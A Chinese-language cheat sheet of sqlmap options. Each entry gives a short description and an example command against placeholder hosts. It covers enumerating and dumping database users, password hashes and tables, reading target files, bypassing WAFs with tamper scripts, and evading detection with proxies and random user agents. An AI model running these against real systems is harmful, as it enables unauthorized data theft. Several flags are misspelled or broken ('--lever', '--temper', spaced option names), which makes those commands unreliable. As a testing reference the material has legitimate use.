把http的请求头,保存成⼀个⽂件统⼀提交给sqlmap(post请求)
-r
sqlmap -r cookie.txt
测试期间经常访问的URL地址
--saf -url
查看版本信息
--version
sqlmap --version
查看常⽤功能参数
-h
sqlmap -h
查看数据库版本
-b
查看所有
-a
查看所有功能参数
-hh
sqlmap -hh
查看详细结构类型信息(结合使用)
--schema
sqlmap -u "http://example.com/vulnerable_page?id=1" --schema --dbs=mysql
查询数据库的版本信息
--banner
sqlmap -u "http://test.com/?id=1" --banner
从第N条记录开始提取(含N)
--start=N
从⽂件加载并使⽤安全的HTTP请求
--safe -req
当服务器端cookie有更新,可以使⽤--drop-set-cookie,放弃更新cookie
--drop -set -cookie
读取⽬标机器上的⽂件
--file-read
指定参数post数据
--data
sqlmap -u "http://example.com/vulnerable_page" --data="id=1&name=test"
发送带有特定cookie的请求
--cookie
关闭url编码,这种情况⽤于后端服务器不遵循RFC标准(URL编码的标准)并要求数据以⾮编码⽅式进⾏传输
--skip -urlencode
和-u⼀起⽤,-u后接的是https。让sqlmap知道⽬标⽤https交互
--force -ssl
获取当前登录数据库
--current -db
获取当前登录数据库使⽤的⽤户
--current-user
获取当前数据库用户权限的信息
--privileges
获取服务器主机名
--hostname
获取其他用户
--users
获取数据库用户的密码哈希值
--passwords
基于时间的注⼊检测相应延迟时间(默认5秒)
--time -sec
加载⽂本⽂件逐个扫描
-m
sqlmap -m url.txt
间隔1秒再进⾏探测
--delay 1
sqlmap -u "http://test.com/?id=1" --delay 1
检测SQL注⼊漏洞存在的技术类型B:Boolean-basedblind(布尔盲注)E:Error-based(报错注⼊)U:Unionquery-based(联合查询注⼊)S:Stackedqueries(⽂件系统,操作系统,注册表相关注⼊)T:Time-basedblind(时间盲注)默认全部使⽤
--technique
sqlmap -u "http://test.com/?id=1" --technique=B
检测级别,取值(1-5)默认情况下Sqlmap会测试所有GET参数和POST参数,当level⼤于等于2时会测试cookie参数,当level⼤于等于3时会测试UserAgent和Referer,当level=5时会测试Host头
--level 1
sqlmap -u "http://test.com/?id=1" --lever 1
检查⽬标数据库指纹信息已确认版本
-f
sqlmap -u "http://test.com/?id=1" -f
接连接数据库侦听端⼝
-d
sqlmap -d "mysql://root:root@192.168.1.200:33 06/test"
控制测试的有效性和潜在风险等级(1-3)
--risk
枚举表名称
--tables
sqlmap -u "http://test.com/?id=1" -D security --tables
枚举数据库名称
--dbs
sqlmap -u "http://test.com/?id=1" --dbs
枚举字段名称
--columns
sqlmap -u "http://test.com/?id=1" -D security -T users --columns
绕过Web应用防火墙(WAF)或过滤规则
--tamper
sqlmap -u "http://example.com/page?id=1" --tamper=tamper_script_name
tamper_script_name是脚本文件名称
使⽤脚本
--temper
sqlmap -u "http://test.com/?id=1" --temper=xxx.py
使⽤随机UA
--random-agent
sqlmap -u "http://test.com/?id=1" --random-agent
是否为数据库管理员
--is-dbs
搜索名称中包含特定关键词的表
--search
sqlmap -u "http://example.com/vulnerable_page?id=1" --search -T keyword
keyword是表中的关键词
探测是否可以提取数据库中实际执行的SQL语句
--statements
提取到第N条记录(含N)
--stop=N
需要输⼊⽤户密码会返回401,忽略则能继续探测
--ignore -401
有时候字符编码的问题,可能导致数据丢失,可以使⽤hex函数来避免
--hex
在http中把post数据发送到给定的安全URL地址
--safe -post
在两次访问给定安全位置之间测试请求
--safe -freq
指定referer
--referer
指定UA内容
--user-agent
sqlmap -u "http://test.com/?id=1" --user-agent=""Mozilla/5.0(X11; Linux x86_64; rv:68.0)Gecko/20100101"
指定url扫描,但url必须存在查询参数
-u
sqlmap -u "http://test.com/?id=1"
指定users表(前提指定数据库)
-T users
sqlmap -u "http://test.com/?id=1" -D security -T users --columns
指定表
-T
指定并行执行任务的线程数(1-10)
--threads 1
指定超时时间
--timeout
指定代理
--proxy
sqlmap -u "http://test.com/?id=1" --proxy "http://110.121.202.34:8000"
指定多个代理
--proxy-file
sqlmap -u "http://test.com/?id=1" --proxy-file=/root/proxy.txt
指定检查url⾥⾯某个变量
-p
sqlmap -u "http://test.com/?id=1" -p username --users
指定数据库
-D
指定数据库security
-D security
sqlmap -u "http://test.com/?id=1" -D security --tables
指定要使用的http请求方法(get、post)
--method
sqlmap -u "http://example.com/vulnerable_page" --method=POST --data="id=1&name=test"
指定重试次数
--retries
指定字段名(前提指定数据库和表)
-C
-C "username,pasword"
sqlmap -u "http://test.com/?id=1" -D security -T users -C "username,pasword"
转储获取到的信息
--dump
sqlmap -u "http://test.com/?id=1" --dump -D security -T users -C "username,pasword"
⽤google搜索
-g
sqlmap.py -g “inurl:”.php?id=1" ” \转 义字符
⾃动使⽤默认配置
--batch
sqlmap -u "http://test.com/?id=1" --batch